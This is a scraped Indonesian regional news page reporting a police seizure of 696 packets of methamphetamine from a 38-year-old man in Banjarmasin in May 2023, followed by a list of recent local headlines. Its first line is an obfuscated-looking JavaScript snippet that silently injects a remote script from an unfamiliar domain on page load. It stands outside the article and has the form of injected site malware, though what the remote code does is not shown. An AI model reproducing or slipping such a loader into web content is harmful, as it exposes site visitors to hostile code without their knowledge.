(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

696 Paket Sabu Edar Disita dari Lelaki di Sultan Adam Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Sebanyak 696 paket narkotika jenis sabu berhasil diamankan oleh Unit Buser Kepolisian Sektor (Polsek) Banjarmasin Timur.

Ratusan paket siap edar itu disita dari tangan tersangka AJ (38) warga Jalan Sultan Adam, Komplek Hunafa Banjarmasin Utara.

Lelaki itu kedapatan menyimpan ratusan barang haram siap edar, pada Rabu (31/5/2023) lalu, di Jalan Ratu Zaleha, Gang Margasari, Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur.

“Kami mendapatkan informasi ada transaksi narkoba. Kami lakukan penyelidikan dan ternyata benar,” kata Kapolsek Banjarmasin Timur Kompol M Taufiq Qurahman, Senin (5/6/2023).

Baca juga: Dua Terdakwa Korupsi Lahan Objek Wisata Tanuhi HSS Disidang, Tilep Duit Negara Rp 800 Juta

Unit Buser Polsek Banjarmasin Tengah dipimpin Kanit Reskrim Ipda Partogi Hutahaean lantas mendatangi lokasi laporam dan menemukan AJ sedang asik menghisap sabu bersama tiga lelaki lainnya.

“Saat kita geledah kita temukan sebanyak 51 paket sabu di dalam saku celana korban,” sambung Kapolsek.

Tak hanya sampai di situ, polisi kemudian mencurigai isi di dalam jok motor pelaku yang terparkir di depan sebuah rumah.

Alhasil petugas kembali menemukan tiga kotak yang masing-masing berisikan 249 paket dengan berat 60,94 gram, 175 paket dengan berat 50,85 gram dan 221 paket dengan berat 61,52 gram.

“Total paket yang kita temukan berjumlah 696 paket dengan berat total 194,46 gram atau hampir 2 ons,” sebutnya.

Baca juga: Bupati Banjar Ingatkan ASN Menjaga Netralitas

Selanjutnya, pelaku dibawa ke Mapolsek Banjarmasin Timur untuk dilakukan pendalaman dan diinterogasi oleh anggota.

Dari hasil pendalaman tersebut, kata dia, pelaku mengakui bahwa barang haram tersebut adalah miliknya.

Pelaku AJ pun dijerat Pasal 112 KUHP Undang-Undang RI No 35 Tahun 2009 tentang narkotika tentang Narkotika dengan ancaman paling singkat lima tahun dan paling lama 20 tahun pernjara. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

6 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

6 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

11 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

12 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

12 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

13 jam ago

This website uses cookies.